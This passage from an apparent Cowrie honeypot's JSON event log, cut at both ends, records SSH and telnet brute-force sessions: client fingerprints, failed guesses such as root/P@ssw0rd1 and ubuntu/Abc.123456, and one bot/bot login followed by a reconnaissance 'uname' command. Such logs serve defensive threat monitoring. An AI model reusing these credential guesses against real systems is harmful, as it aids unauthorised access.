","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:04.119144Z","src_ip":"45.156.87.254","session":"65ea416cd056","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.14269042015076,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:04.284074Z","src_ip":"20.123.41.163","session":"8999b16087d0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:04.761292Z","src_ip":"45.156.87.254","session":"65ea416cd056","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:05.848835Z","src_ip":"45.156.87.254","session":"65ea416cd056","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":38164,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8b5c19255dd","protocol":"ssh","message":"New connection: 46.24.47.94:38164 (10.17.0.5:22) [session: d8b5c19255dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:06.161227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:06.166617Z","src_ip":"46.24.47.94","session":"d8b5c19255dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:06.272835Z","src_ip":"46.24.47.94","session":"d8b5c19255dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Abc.123456","message":"login attempt [ubuntu/Abc.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:06.727797Z","src_ip":"46.24.47.94","session":"d8b5c19255dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:07.836115Z","src_ip":"46.24.47.94","session":"d8b5c19255dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":50666,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f4fd4e36f33","protocol":"ssh","message":"New connection: 45.156.87.254:50666 (159.203.135.109:22) [session: 5f4fd4e36f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:09.698188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:09.703527Z","src_ip":"45.156.87.254","session":"5f4fd4e36f33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:09.845411Z","src_ip":"45.156.87.254","session":"5f4fd4e36f33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd1","message":"login attempt [root/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:10.222533Z","src_ip":"45.156.87.254","session":"5f4fd4e36f33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:11.327411Z","src_ip":"45.156.87.254","session":"5f4fd4e36f33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":50680,"dst_ip":"159.203.135.109","dst_port":22,"session":"71fe63bb73d4","protocol":"ssh","message":"New connection: 45.156.87.254:50680 (159.203.135.109:22) [session: 71fe63bb73d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:15.856169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:15.861063Z","src_ip":"45.156.87.254","session":"71fe63bb73d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:15.944298Z","src_ip":"45.156.87.254","session":"71fe63bb73d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:16.197576Z","src_ip":"45.156.87.254","session":"71fe63bb73d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:17.296115Z","src_ip":"45.156.87.254","session":"71fe63bb73d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":40948,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8e83eadc84c","protocol":"ssh","message":"New connection: 185.16.214.226:40948 (10.17.0.5:22) [session: d8e83eadc84c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:17.563581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:17.568447Z","src_ip":"185.16.214.226","session":"d8e83eadc84c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:17.693337Z","src_ip":"185.16.214.226","session":"d8e83eadc84c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"welcome","message":"login attempt [user1/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:18.225965Z","src_ip":"185.16.214.226","session":"d8e83eadc84c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:19.354522Z","src_ip":"185.16.214.226","session":"d8e83eadc84c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53848,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee6c09b91ed5","protocol":"ssh","message":"New connection: 45.156.87.254:53848 (159.203.135.109:22) [session: ee6c09b91ed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:21.419790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:21.423962Z","src_ip":"45.156.87.254","session":"ee6c09b91ed5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:21.507817Z","src_ip":"45.156.87.254","session":"ee6c09b91ed5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu-server","password":"123456","message":"login attempt [ubuntu-server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:21.759721Z","src_ip":"45.156.87.254","session":"ee6c09b91ed5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:22.850412Z","src_ip":"45.156.87.254","session":"ee6c09b91ed5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53854,"dst_ip":"159.203.135.109","dst_port":22,"session":"28078fcfaf1f","protocol":"ssh","message":"New connection: 45.156.87.254:53854 (159.203.135.109:22) [session: 28078fcfaf1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:26.546803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:26.551474Z","src_ip":"45.156.87.254","session":"28078fcfaf1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:26.630011Z","src_ip":"45.156.87.254","session":"28078fcfaf1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:26.974695Z","src_ip":"45.156.87.254","session":"28078fcfaf1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:28.063116Z","src_ip":"45.156.87.254","session":"28078fcfaf1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.12371897697449,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:29.512665Z","src_ip":"104.245.105.2","session":"4e00ce2f8a29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56764,"dst_ip":"159.203.135.109","dst_port":22,"session":"cce3e355e114","protocol":"ssh","message":"New connection: 45.156.87.254:56764 (159.203.135.109:22) [session: cce3e355e114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:31.778380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:31.783627Z","src_ip":"45.156.87.254","session":"cce3e355e114","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:31.867116Z","src_ip":"45.156.87.254","session":"cce3e355e114","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:32.290050Z","src_ip":"45.156.87.254","session":"cce3e355e114","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:32.500636Z","src_ip":"45.156.87.254","session":"cce3e355e114","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:32.503756Z","src_ip":"45.156.87.254","session":"cce3e355e114","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:32.589238Z","src_ip":"45.156.87.254","session":"cce3e355e114","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:32.594031Z","src_ip":"45.156.87.254","session":"cce3e355e114","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56788,"dst_ip":"159.203.135.109","dst_port":22,"session":"666fc5f2a68e","protocol":"ssh","message":"New connection: 45.156.87.254:56788 (159.203.135.109:22) [session: 666fc5f2a68e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:36.845432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:36.850438Z","src_ip":"45.156.87.254","session":"666fc5f2a68e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-